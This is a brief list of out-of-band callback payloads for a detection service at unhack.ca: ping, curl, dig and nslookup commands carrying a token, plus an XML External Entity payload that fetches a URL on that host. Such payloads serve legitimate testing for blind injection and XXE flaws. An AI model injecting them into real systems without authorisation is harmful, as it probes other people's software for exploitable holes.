$ ping -c1 -p 003d8ebac849631c5f1f589f1a166600 unhack.ca
 

$ curl http://unhack.ca/p/3d8ebac849631c5f1f589f1a1666
 

$ dig 3d8ebac849631c5f1f589f1a1666 @unhack.ca
 

$ dig 3d8ebac849631c5f1f589f1a1666.ns.unhack.ca
 

C:\> nslookup 3d8ebac849631c5f1f589f1a1666 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3d8ebac849631c5f1f589f1a1666">]>
    <foo>&xxe;</foo>